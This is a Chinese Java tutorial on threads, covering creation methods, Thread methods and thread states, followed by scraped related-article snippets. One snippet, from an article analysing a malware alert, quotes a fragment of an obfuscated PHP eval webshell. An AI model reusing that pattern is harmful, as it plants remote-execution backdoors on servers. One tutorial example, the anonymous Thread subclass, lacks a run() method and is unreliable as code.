【JavaEE初阶】线程 和 thread
- 认识多线程
- 掌握多线程程序的编写
- 掌握多线程的状态
一. 认识线程(Thread)
1概念
1) 线程是什么
⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代码. 多个线程之间 "同时" 执⾏着多份代码.
还是回到我们之前的银⾏的例⼦中。之前我们主要描述的是个⼈业务,即⼀个⼈完全处理⾃⼰的业务。我们进⼀步设想如下场景:
⼀家公司要去银⾏办理业务,既要进⾏财务转账,⼜要进⾏福利发放,还得进⾏缴社保。如果只有张三⼀个会计就会忙不过来,耗费的时间特别⻓。为了让业务更快的办理好,张三⼜找来两位同事李四、王五⼀起来帮助他,三个⼈分别负责⼀个事情,分别申请⼀个号码进⾏排队,⾃此就有了三个执⾏流共同完成任务,但本质上他们都是为了办理⼀家公司的业务。此时,我们就把这种情况称为多线程,将⼀个⼤任务分解成不同⼩任务,交给不同执⾏流就分别排队 执⾏。其中李四、王五都是张三叫来的,所以张三⼀般被称为主线程(Main Thread)。
2) 为啥要有线程
⾸先, "并发编程" 成为 "刚需".
- 单核 CPU 的发展遇到了瓶颈. 要想提⾼算⼒, 就需要多核 CPU. ⽽并发编程能更充分利⽤多核 CPU资源.
- 有些任务场景需要 "等待 IO", 为了让等待 IO 的时间能够去做⼀些其他的⼯作, 也需要⽤到并发编程.
其次, 虽然多进程也能实现 并发编程, 但是线程⽐进程更轻量.(线程就是轻量级进程)
- 创建线程⽐创建进程更快.
- 销毁线程⽐销毁进程更快.
- 调度线程⽐调度进程更快.
最后, 线程虽然⽐进程轻量, 但是⼈们还不满⾜, 于是⼜有了 "线程池"(ThreadPool) 和 "协程"(Coroutine)
3) 进程和线程的区别
- 进程是包含线程的. 每个进程⾄少有⼀个线程存在,即主线程。
- 进程和进程之间不共享内存空间. 同⼀个进程的线程之间共享同⼀个内存空间.
⽐如之前的多进程例⼦中,每个客⼾来银⾏办理各⾃的业务,但他们之间的票据肯定是不想让别⼈知道的,否则钱不就被其他⼈取⾛了么。⽽上⾯我们的公司业务中,张三、李四、王五虽然是不同的执⾏流,但因为办理的都是⼀家公司的业务,所以票据是共享着的。这个就是多线程和多进程的最⼤区别。
- 进程是系统分配资源的最⼩单位,线程是系统调度的最⼩单位。
- ⼀个进程挂了⼀般不会影响到其他进程. 但是⼀个线程挂了, 可能把同进程内的其他线程⼀起带⾛(整个进程崩溃).
4) Java 的线程 和 操作系统线程 的关系
api:application programming interface(应用程序编程接口)
- 操作系统提供的原生api是c写的
- 不同操作系统的线程api不相同
2 第⼀个多线程程序
- 每个线程都是⼀个独⽴的执⾏流
- 多个线程之间是 "并发" 执⾏的.





3 创建线程
⽅法1 继承 Thread 类
class MyThread extends Thread{@Override//run相当于线程的入口函数public void run() {System.out.println("hello world");}
}
(2)创建 MyThread 类的实例
Thread t=new MyThread();
(3)调⽤ start ⽅法启动线程
//真正在系统中创建出一个线程t.start();
(4)休眠
try {Thread.sleep(1000);//sleep是静态方法,表示休眠,休息一会再执行,用ms为单位} catch (InterruptedException e) {throw new RuntimeException(e);}
(5)run
在执行线程时,不需要显示运行run方法,JVM自动调用
Tip:
在自己写的MyThread类里面不允许用throws,只能try-catch,因为其父类Thread里面没有实现该功能,但main函数中可以
实际开发中,异常的处理方式
1.记录异常信息作为日志.后续程序员根据日志调查问题
程序仍然正常往后执行逻辑,不会因为这个异常就终止(对于服务器非常关键的)2.进行重试,有的异常是概率性的(网络通讯)
3.特别严重的问题,必须立即马上处理的问题
通过短信/邮件/微信/电话 通知程序员 (报警机制)
服务器和客户端指的是两个程序
服务器(server):被动接受请求,返回响应的一方
客户端(client):主动发起请求的一方
- 客户端给服务器发送的数据,叫做“request"请求
- 服务器给客户端返回的叫做“response”响应
- 通常一个服务器可以给多个客户端提供服务
- 服务器基本7*24待命
根据输出可以知道:多个线程的调度是随机的(“抢占式执行”)
Q:可以控制输出顺序吗?
A:输出顺序是操作系统内核的调度器控制的,没法在应用应用程序中编写代码控制 (调度器没有提供 api 的)
唯一能做的就是给线程设置优先级(但是优先级,对于操作系统来说,也是仅供参考,不会严格的定量的遵守)
如果直接使用run方法,而没有start,那么MyTread实质上没有创建出进程,只有main进程,遇到run中的死循环之后无法退出。
package Thread;
class MyThread extends Thread{@Override//run相当于线程的入口函数public void run() {while(true){System.out.println("hello run");try {Thread.sleep(1000);//sleep是静态方法,表示休眠,休息一会再执行,用ms为单位} catch (InterruptedException e) {throw new RuntimeException(e);}}}
}
public class demo1 {public static void main(String[] args) throws InterruptedException {Thread t=new MyThread();//真正在系统中创建出一个线程//t.start();t.run();while(true){System.out.println("hello main");Thread.sleep(1000);}}
}
⽅法2 实现 Runnable 接⼝
class MyRunnable implements Runnable{@Overridepublic void run() {while(true){System.out.println("hello thread");try {Thread.sleep(1000);} catch (InterruptedException e) {throw new RuntimeException(e);}}}}
2. 创建 Thread 类实例, 调⽤ Thread 的构造⽅法时将 Runnable 对象作为 target 参数.
Runnable runnable=new MyRunnable();
Thread t=new Thread(runnable);
3. 调⽤ start ⽅法
t.start();
总代码:
package Thread;
class MyRunnable implements Runnable{@Overridepublic void run() {while(true){System.out.println("hello thread");try {Thread.sleep(1000);} catch (InterruptedException e) {throw new RuntimeException(e);}}}}public class demo2 {public static void main(String[] args) throws InterruptedException {Runnable runnable=new MyRunnable();Thread t=new Thread(runnable);t.start();while (true){System.out.println("hello main");Thread.sleep(1000);}}
}
Runnable最终还是要通过 Thread,真正创建线程
线程里要干啥, 通过 Runnable 来表示(而不是通过直接重写 Thread的run 来表示了)
Q:如何判断是用哪种?
A:根据线程要执行的任务的定义,是放到 Thread 里面,还是放到外面(Runnable 中)
Q:使用Runnable有什么好处吗?
A:解耦合。要执行的任务本身,和 线程这个概念,能够解耦合,从而后续如果变更代码.(比如不通过线程执行这个任务,通过其他方式.….)
采用 Runnable 这样的方案,代码的修改就会更简单.
对⽐上⾯两种⽅法:
- 继承 Thread 类, 直接使⽤ this 就表⽰当前线程对象的引⽤.
- 实现 Runnable 接⼝, this 表⽰的是 MyRunnable 的引⽤. 需要使⽤Thread.currentThread()
⽅法3 实现Tread的匿名内部类
package Thread;public class demo3 {public static void main(String[] args) throws InterruptedException {Thread thread=new Thread(){while(true){System.out.println("hello run");try {Thread.sleep(1000);//sleep是静态方法,表示休眠,休息一会再执行,用ms为单位} catch (InterruptedException e) {throw new RuntimeException(e);}}};thread.start();while(true){System.out.println("hello main");Thread.sleep(1000);}}
}
⽅法4 匿名内部类创建 Runnable ⼦类对象
package Thread;public class demo4 {public static void main(String[] args) throws InterruptedException {Runnable runnable = new Runnable() {@Overridepublic void run() {while (true) {System.out.println("hello run");try {Thread.sleep(1000);//sleep是静态方法,表示休眠,休息一会再执行,用ms为单位} catch (InterruptedException e) {throw new RuntimeException(e);}}}};Thread thread=new Thread(runnable);thread.start();while(true){System.out.println("hello main");Thread.sleep(1000);}}
}
⽅法5 lambda 表达式创建 Runnable ⼦类对象
package Thread;public class demo5 {public static void main(String[] args) throws InterruptedException {Thread thread=new Thread(()->{while (true) {System.out.println("hello run");try {Thread.sleep(1000);//sleep是静态方法,表示休眠,休息一会再执行,用ms为单位} catch (InterruptedException e) {throw new RuntimeException(e);}}});thread.start();while(true){System.out.println("hello main");Thread.sleep(1000);}}
}
4 多线程的优势-增加运⾏速度
- 使⽤ System.nanoTime() 可以记录当前系统的 纳秒 级时间戳.
- serial 串⾏的完成⼀系列运算.
- concurrency 使⽤两个线程并⾏的完成同样的运算.
二. Thread 类及常⻅⽅法
Thread 类是 JVM ⽤来管理线程的⼀个类,换句话说,每个线程都有⼀个唯⼀的 Thread 对象与之关联。
⽤我们上⾯的例⼦来看,每个执⾏流,也需要有⼀个对象来描述,类似下图所⽰,⽽ Thread 类的对象就是⽤来描述⼀个线程执⾏流的,JVM 会将这些 Thread 对象组织起来,⽤于线程调度,线程管理。
1 Thread 的常⻅构造⽅法
Thread t1 = new Thread();
Thread t2 = new Thread(new MyRunnable());
Thread t3 = new Thread("这是我的名字");
Thread t4 = new Thread(new MyRunnable(), "这是我的名字");
main方法结束了,主线程就结束了
以前认知里main方法结束,程序就执行完毕是针对单线程程序的
2 Thread 的⼏个常⻅属性
- ID 是线程的唯⼀标识,不同线程不会重复
- 名称是各种调试⼯具⽤到
- 状态表⽰线程当前所处的⼀个情况,下⾯我们会进⼀步说明
- 优先级⾼的线程理论上来说更容易被调度到
- 关于后台线程,需要记住⼀点:JVM会在⼀个进程的所有⾮后台线程结束后,才会结束运⾏。
- 是否存活,即简单的理解,为 run ⽅法是否运⾏结束了
- 线程的中断问题,下⾯我们进⼀步说明
public class ThreadDemo {public static void main(String[] args) {Thread thread = new Thread(() -> {for (int i = 0; i < 10; i++) {try {System.out.println(Thread.currentThread().getName() + ": 我还在");Thread.sleep(1 * 1000);} catch (InterruptedException e) {e.printStackTrace();}}System.out.println(Thread.currentThread().getName() + ": 我即将死去");});System.out.println(Thread.currentThread().getName()+ ": ID: " + thread.getId());System.out.println(Thread.currentThread().getName()+ ": 名称: " + thread.getName());System.out.println(Thread.currentThread().getName()+ ": 状态: " + thread.getState());System.out.println(Thread.currentThread().getName()+ ": 优先级: " + thread.getPriority());System.out.println(Thread.currentThread().getName()+ ": 后台线程: " + thread.isDaemon());System.out.println(Thread.currentThread().getName()+ ": 活着: " + thread.isAlive());System.out.println(Thread.currentThread().getName()+ ": 被中断: " + thread.isInterrupted());thread.start();while (thread.isAlive()) {}System.out.println(Thread.currentThread().getName()+ ": 状态: " + thread.getState());}
}
3 启动⼀个线程 - start()
之前我们已经看到了如何通过覆写 run ⽅法创建⼀个线程对象,但线程对象被创建出来并不意味着线程就开始运⾏了。
- 覆写 run ⽅法是提供给线程要做的事情的指令清单
- 线程对象可以认为是把 李四、王五叫过来了
- ⽽调⽤ start() ⽅法,就是喊⼀声:”⾏动起来!“,线程才真正独⽴去执⾏了。
调⽤ start ⽅法, 才真的在操作系统的底层创建出⼀个线程
4 中断⼀个线程
李四⼀旦进到⼯作状态,他就会按照⾏动指南上的步骤去进⾏⼯作,不完成是不会结束的。但有时我们需要增加⼀些机制,例如⽼板突然来电话了,说转账的对⽅是个骗⼦,需要赶紧停⽌转账,那张三该如何通知李四停⽌呢?这就涉及到我们的停⽌线程的⽅式了。
⽬前常⻅的有以下两种⽅式:
- 通过共享的标记来进⾏沟通
- 调⽤ interrupt() ⽅法来通知
⽰例1: 使⽤⾃定义的变量来作为标志位.
//需要给标志位上加 volatile 关键字(这个关键字的功能后⾯介绍).
public class ThreadDemo {private static class MyRunnable implements Runnable {public volatile boolean isQuit = false;@Overridepublic void run() {while (!isQuit) {System.out.println(Thread.currentThread().getName()+ ": 别管我,我忙着转账呢!");try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}}System.out.println(Thread.currentThread().getName()+ ": 啊!险些误了⼤事");}}public static void main(String[] args) throws InterruptedException {MyRunnable target = new MyRunnable();Thread thread = new Thread(target, "李四");System.out.println(Thread.currentThread().getName()+ ": 让李四开始转账。");thread.start();Thread.sleep(10 * 1000);System.out.println(Thread.currentThread().getName()+ ": ⽼板来电话了,得赶紧通知李四对⽅是个骗⼦!");target.isQuit = true;}
}
⽰例-2: 使⽤ Thread.interrupted() 或者 Thread.currentThread().isInterrupted() 代替⾃定义标志位.
Thread 内部包含了⼀个 boolean 类型的变量作为线程是否被中断的标记.
• 使⽤ thread 对象的 interrupted() ⽅法通知线程结束.
public class ThreadDemo {private static class MyRunnable implements Runnable {@Overridepublic void run() {// 两种⽅法均可以while (!Thread.interrupted()) {
//while (!Thread.currentThread().isInterrupted()) {System.out.println(Thread.currentThread().getName() + ": 别管我,我忙着转账呢!");try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();System.out.println(Thread.currentThread().getName() + ": 有内⻤,终⽌交易!");// 注意此处的 breakbreak;}}System.out.println(Thread.currentThread().getName() + ": 啊!险些误了⼤事");}}public static void main(String[] args) throws InterruptedException {MyRunnable target = new MyRunnable();Thread thread = new Thread(target, "李四");System.out.println(Thread.currentThread().getName() + ": 让李四开始转账。");thread.start();Thread.sleep(10 * 1000);System.out.println(Thread.currentThread().getName() + ": ⽼板来电话了,得赶紧通知李四对⽅是个骗⼦!");thread.interrupt();}
}
thread 收到通知的⽅式有两种:
1. 如果线程因为调⽤ wait/join/sleep 等⽅法⽽阻塞挂起,则以 InterruptedException 异常的形式通 知,清除中断标志
◦ 当出现 InterruptedException 的时候, 要不要结束线程取决于 catch 中代码的写法. 可以选择忽略这个异常, 也可以跳出循环结束线程.
◦ Thread.currentThread().isInterrupted() 判断指定线程的中断标志被设置,不清除中断标志
2. 否则,只是内部的⼀个中断标志被设置,thread 可以通过这种⽅式通知收到的更及时,即使线程正在 sleep 也可以⻢上收到。
5 等待⼀个线程 - join()
有时,我们需要等待⼀个线程完成它的⼯作后,才能进⾏⾃⼰的下⼀步⼯作。例如,张三只有等李四转账成功,才决定是否存钱,这时我们需要⼀个⽅法明确等待线程的结束。
package Thread;public class ThreadDemo1 {public static void main(String[] args) throws InterruptedException {Runnable target =() -> {for (int i = 0; i < 10; i++) {try {System.out.println(Thread.currentThread().getName()+ ": 我还在⼯作!");Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}}System.out.println(Thread.currentThread().getName() + ": 我结束了!");};Thread thread1 = new Thread(target, "李四");Thread thread2 = new Thread(target, "王五");System.out.println("先让李四开始⼯作");thread1.start();thread1.join();System.out.println("李四⼯作结束了,让王五开始⼯作");thread2.start();thread2.join();System.out.println("王五⼯作结束了");}
}
⼤家可以试试如果把两个 join 注释掉,现象会是怎么样的呢?
6 获取当前线程引⽤
public class ThreadDemo {public static void main(String[] args) {Thread thread = Thread.currentThread();System.out.println(thread.getName());}
}
7 休眠当前线程
public class ThreadDemo {public static void main(String[] args) throws InterruptedException {System.out.println(System.currentTimeMillis());Thread.sleep(3 * 1000);System.out.println(System.currentTimeMillis());}
}
三、 线程的状态
1 观察线程的所有状态
Thread.State
public class ThreadState {public static void main(String[] args) {for (Thread.State state : Thread.State.values()) {System.out.println(state);}}
}
- NEW: 安排了⼯作, 还未开始⾏动
- RUNNABLE: 可⼯作的. ⼜可以分成正在⼯作中和即将开始⼯作.
- BLOCKED: 这⼏个都表⽰排队等着其他事情
- WAITING: 这⼏个都表⽰排队等着其他事情
- TIMED_WAITING: 这⼏个都表⽰排队等着其他事情
- TERMINATED: ⼯作完成了.
2. 线程状态和状态转移的意义
⼤家不要被这个状态转移图吓到,我们重点是要理解状态的意义以及各个状态的具体意思。
还是我们之前的例⼦:
刚把李四、王五找来,还是给他们在安排任务,没让他们⾏动起来,就是 NEW 状态;
当李四、王五开始去窗⼝排队,等待服务,就进⼊到 RUNNABLE 状态。该状态并不表⽰已经被银⾏⼯作⼈员开始接待,排在队伍中也是属于该状态,即可被服务的状态,是否开始服务,则看调度器的调度;
当李四、王五因为⼀些事情需要去忙,例如需要填写信息、回家取证件、发呆⼀会等等时,进⼊BLOCKED 、 WATING 、TIMED_WAITING 状态,⾄于这些状态的细分,我们以后再详解;
如果李四、王五已经忙完,为 TERMINATED 状态。
所以,之前我们学过的 isAlive() ⽅法,可以认为是处于不是 NEW 和 TERMINATED 的状态都是活着的。
3 观察线程的状态和转移
package Thread;public class ThreadStateTransfer {public static void main(String[] args) throws InterruptedException {Thread t = new Thread(() -> {for (int i = 0; i < 1000_0000; i++) {}}, "李四");System.out.println(t.getName() + ": " + t.getState());;t.start();while (t.isAlive()) {System.out.println(t.getName() + ": " + t.getState());;}System.out.println(t.getName() + ": " + t.getState());;}
}
观察 2: 关注 WAITING 、 BLOCKED 、 TIMED_WAITING 状态的转换
public static void main(String[] args) {final Object object = new Object();Thread t1 = new Thread(new Runnable() {@Overridepublic void run() {synchronized (object) {while (true) {try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}}}}}, "t1");t1.start();Thread t2 = new Thread(new Runnable() {@Overridepublic void run() {synchronized (object) {System.out.println("hehe");}}}, "t2");t2.start();}
}
使⽤ jconsole 可以看到 t1 的状态是 TIMED_WAITING , t2 的状态是 BLOCKED
public static void main(String[] args) {final Object object = new Object();Thread t1 = new Thread(new Runnable() {@Overridepublic void run() {synchronized (object) {try {// [修改这⾥就可以了!!!!!]// Thread.sleep(1000);object.wait();} catch (InterruptedException e) {e.printStackTrace();}}}}, "t1");
...}
使⽤ jconsole 可以看到 t1 的状态是 WAITING
结论:
• BLOCKED 表⽰等待获取锁, WAITING 和 TIMED_WAITING 表⽰等待其他线程发来通知.
• TIMED_WAITING 线程在等待唤醒,但设置了时限; WAITING 线程在⽆限等待唤醒
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系列文章目录 unity工具 文章目录 系列文章目录👉前言👉一、正则判断邮箱格式👉二、正则判断身份证号👉壁纸分享👉总结👉前言 C#正则表达式(Regex)是一种用来匹配字符串模式的强大工具。在C#中,可以使用System.Text.RegularExpressions命名空间下的Regex类来处…...
PostgreSQL表达式的类型
PostgreSQL表达式是数据库查询中非常重要的组成部分,它们由一个或多个值、运算符和PostgreSQL函数组合而成,用于计算出一个单一的结果。这些表达式类似于公式,可以用查询语言编写,并用于查询数据库中的特定数据集。 PostgreSQL表…...
C++简明教程(文章要求学过一点C语言)(10)
类的教程 C 类的完整教程 C 中,类(class)是面向对象编程的核心概念,用于定义对象的属性(数据成员)和行为(成员函数)。本教程将带你从零开始,循序渐进地学习如何定义和使…...
从腾讯云的恶意文件查杀学习下PHP的eval函数
问题来自于腾讯云的主机安全通知: 🚀一键接入,畅享GPT及AI大模型服务!【顶级API中转品牌】: https://api.ablai.top/ 病毒文件副本内容如下: <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…...
OpenWRT——官方镜像安装Docker(网络环境需设置)并配置Sun-Panel
Pro更多功能预览地址https://pro.sun-panel.top/#/hpage/pro Github地址https://github.com/hslr-s/sun-panel?tabreadme-ov-file 首先确认宿主机网络环境符合要求 curl Google.com1.确认没问题后开始安装Docker opkg update opkg install dockerd docker luci-app-docker…...
MySQL 中的常见错误与排查
在 MySQL 数据库的日常运维中,管理员可能会遇到各种错误。无论是查询性能问题、连接异常、数据一致性问题,还是磁盘空间不足等,及时排查并解决这些问题是保证数据库稳定运行的关键。本文将列出 MySQL 中一些常见的错误及其排查方法。 一、连接…...
workman服务端开发模式-应用开发-gateway长链接端工作原理
一、长链接的工作原理 Register类其实也是基于基础的Worker开发的。Gateway进程和BusinessWorker进程启动后分别向Register进程注册自己的通讯地址,Gateway进程和BusinessWorker通过Register进程得到通讯地址后,就可以建立起连接并通讯了。而Gateway进程…...
8位移位寄存器的verilog语言
module shift_register (output reg [7:0] Q, // 8位移位寄存器输出input D, // 输入数据input rst, // 复位信号input clk // 时钟信号 );always (posedge clk) beginif (!rst)Q < 8b00000000; // 复位时将Q清零elseQ < {Q[6:0], D}; // 否则…...
Android学习(五)-Kotlin编程语言-面向对象中的 继承-构造函数-接口三模块学习
首先,我们需要定义一个 Person 类: open class Person {var name ""var age 0fun eat() {println("$name is eating.")} } 注意,Person 类前面加上了 open 关键字,表示这个类可以被继承。在 Kotlin 中&am…...
Java 集合框架中的 List、ArrayList 和 泛型 实例
— Java 集合框架中的 List、ArrayList 和 泛型 在 Java 中,集合框架提供了许多不同类型的集合类,用于存储和操作对象。List 和 ArrayList 是最常用的两种集合类型,而泛型(Generics)则是 Java 中的一项重要特性&…...
计算机网络-L2TP VPN基础概念与原理
一、概述 前面学习了GRE和IPSec VPN,今天继续学习另外一个也很常见的VPN类型-L2TP VPN。 L2TP(Layer 2 Tunneling Protocol) 协议结合了L2F协议和PPTP协议的优点,是IETF有关二层隧道协议的工业标准。L2TP是虚拟私有拨号网VPDN&…...
【Rust自学】4.4. 引用与借用
4.4.0 写在正文之前 这一节的内容其实就相当于C的智能指针移动语义在编译器层面做了一些约束。Rust中引用的写法通过编译器的约束写成了C中最理想、最规范的指针写法。所以学过C的人对这一章肯定会非常熟悉。 喜欢的话别忘了点赞、收藏加关注哦(加关注即可阅读全文…...
LLaMA-Factory 单卡3080*2 deepspeed zero3 微调Qwen2.5-7B-Instruct
环境安装 git clone https://gitcode.com/gh_mirrors/ll/LLaMA-Factory.gitcd LLaMA-Factorypip install -e ".[torch,metrics]"pip install deepspeed 下载模型 pip install modelscope modelscope download --model Qwen/Qwen2.5-7B-Instruct --local_dir /roo…...
[python SQLAlchemy数据库操作入门]-12.直接执行 SQL 语句处理股票数据
哈喽,大家好,我是木头左! 1. SQLAlchemy Core 简介 SQLAlchemy Core 是 SQLAlchemy 库的一个模块,它允许用户直接执行 SQL 语句而不必使用 ORM(对象关系映射)。对于需要精细控制 SQL 查询或处理复杂数据库操作的情况,SQLAlchemy Core 提供了一种灵活而强大的方式来与数…...
【Unity3D】实现可视化链式结构数据(节点数据)
关键词:UnityEditor、可视化节点编辑、Unity编辑器自定义窗口工具 使用Newtonsoft.Json、UnityEditor相关接口实现 主要代码: Handles.DrawBezier(起点,终点,起点切线向量,终点切线向量,颜色,n…...
C# WinForm移除非法字符的输入框
C# WinForm移除非法字符的输入框 文章目录 namespace System.Windows.Forms {using System.ComponentModel;/// <summary>/// 支持移除 非法字符 的输入框。/// </summary>public class RemoveInvalidCharTextBox : TextBox{/// <summary>/// 测试代码&#…...
linux安装宝塔面板及git
宝塔面板安装教程:https://www.bt.cn/new/download.html?bt_lybaidu&sdclkidALfs15q615oG15As&bd_vid9358688624393223862 Centos/OpenCloud/Alibaba稳定版9.0.0 urlhttps://download.bt.cn/install/install_lts.sh;if [ -f /usr/bin/curl ];then curl -s…...
GoTime#34期 Pachyderm, Provenance, Data Lakes
本篇内容是根据2017年2月份#34 Pachyderm, Provenance, Data Lakes音频录制内容的整理与翻译 Joe Doliner 加入了节目,谈论使用 Pachyderm 管理数据湖、数据容器、溯源(provenance) 以及其他有趣的 Go 项目和新闻。 Erik St. Martin: 大家好,欢迎收听新…...
数据库的三范式是什么?
第一范式(1NF) 每列的原子性,表中的每一个字段都是不可分割的,同一列中不能有多个值。第一范式是对关系模式的基本要求,不满足第一范式的数据库不是关系型数据库。 ・不满足第一范式的示例: 学生编号 学生…...
LOS/NLOS环境建模与三维TOA定位,MATLAB仿真程序,可自定义锚点数量和轨迹点长度
本代码的主要功能是建模 LOS(视距)和 NLOS(非视距)环境下的定位系统,估计目标的动态位置,三维空间 文章目录 运行结果源代码代码介绍 总结 运行结果 10个点的轨迹定位: 50个点的轨迹定位&#…...
css
已经学完html了,继续学习前端三剑客html、css、js之一的css。😀 1、什么是css css:用于网页结构的布局和修饰的一种样式脚本 层叠样式表:(英文全称:Cascading Style Sheets), 简称:样式表&…...